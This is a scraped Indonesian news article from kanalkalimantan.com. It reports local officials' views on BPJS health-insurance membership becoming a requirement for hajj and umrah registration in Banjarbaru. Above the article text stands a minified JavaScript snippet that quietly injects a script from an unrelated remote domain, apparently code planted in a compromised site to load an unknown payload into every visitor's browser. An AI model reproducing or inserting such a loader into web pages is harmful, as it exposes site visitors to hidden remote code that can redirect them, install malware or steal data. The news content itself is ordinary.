(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Kepesertaan Badan Penyelenggaraan Jaminan Sosial (BPJS) Kesehatan menjadi persyaratan yang akan dipenuhi masyarakat mendaftar ibadah haji maupun umrah. Sesuai dengan Instruksi Presiden (Inpres) No 1 Tahun 2022 tentang optimalisasi pelaksanaan program Jaminan Kesehatan Nasional (JKN).
Kendati kepesertaan BPJS Kesehatan menjadi persyaratan yang harus dipenuhi dalam pendaftaran ibadah umrah dan haji, namun di Kota Banjarbaru hal tersebut tidak terlalu begitu berpengaruh terhadap masyarakat yang mendaftar haji atau umrah.
Kepala Kantor Kementerian Agama (Kemenag) Kota Banjarbaru, H Mahrus mengatakan, hingga kini pendaftaran kepesertaan haji dan umrah masih secara normatif disebabkan persyaratan harus dengan BPJS merupakan peraturan baru.
“Masih persyaratan biasa, jemaah juga bisa mendaftar lewat web kementerian agama untuk melengkapi berkasnya,” jelasnya.
Baca juga : Polisi Bongkar Penimbunan CPO dan Kapal Tanker, 6 Kontainer di Pelabuhan Batulicin Ikut Disegel
Mahrus mengungkapkan sebelum persyarataan kepesertaan BPJS ini masuk, sebelumnya sudah terdapat asuransi yang didapat para jemaah yang include dengan biaya pendaftaran.
“Sebenarnya sudah ada asuransinya, namun tidak tercatat, apabila terjadi sesuatu ketika keberangkatan maupun sudah selesai berhaji tetap jemaah mendapatkan asuransi,” ujarnya.
Masih kata Mahrus, penggunaan BPJS Kesehatan dalam persyaratan bagi jemaah kemungkinan untuk memperjelas akan adanya asuransi, sebab sebelumnya asuransi tersebut tidak tertulis secara jelas.
Terpisah, Kepala Seksi Penyelenggaraan Haji dan Umrah (PHU) Kantor Kemenag Kota Banjarbaru, Ahmad Syauqi mengatakan, rata-rata calon jemaah haji dan umrah sudah menjadi anggota kepesertaan BPJS kesehatan.
Baca juga : Kabar Duka Kalsel, H Abidin Berpulang ke Rahmatullah
Kendati demikian, Syauqi mengungkapkan, terkait BPJS Kesehatan dimasukkan kedalam persyaratan pendaftaran bagi jemaah haji dan umrah belum diterima pihaknya.
“Belum ada tertulisnya, tapi di lapangan sudah jalan sebab setiap orang ingin berangkat haji itu harus periksa kesehatan, otomatis mereka sudah menjadi kepesertaan BPJS Kesehatan,” jelasnya.
Walau kepesertaan BPJS Kesehatan menjadi persyaratan yang harus dipenuhi dalam pendaftaran ibadah umrah dan haji, namun Syauqi menyebut, di Kota Banjarbaru hal tersebut tidak terlalu begitu berpengaruh terhadap masyarakat yang mendaftar haji atau umrah. (kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 Penjabat (Pj) Kepala Desa… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar forum konsultasi publik penyelenggaraan Mal Pelayanan Publik… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 orang Penjabat (Pj) Kepala… Read More
Gubernur Kalsel: Percuma Rencana Kalau Tidak Dilakukan Read More
KANALKALIMANTAN.COM, JAKARTA – Keberhasilan Pemerintah Kabupaten Banjar dalam upaya mewujudkan tata kelola pemerintahan yang bersih… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah menyiapkan kebijakan strategis bagi ASN dalam menghadapi lonjakan mobilitas masyarakat pada… Read More
This website uses cookies.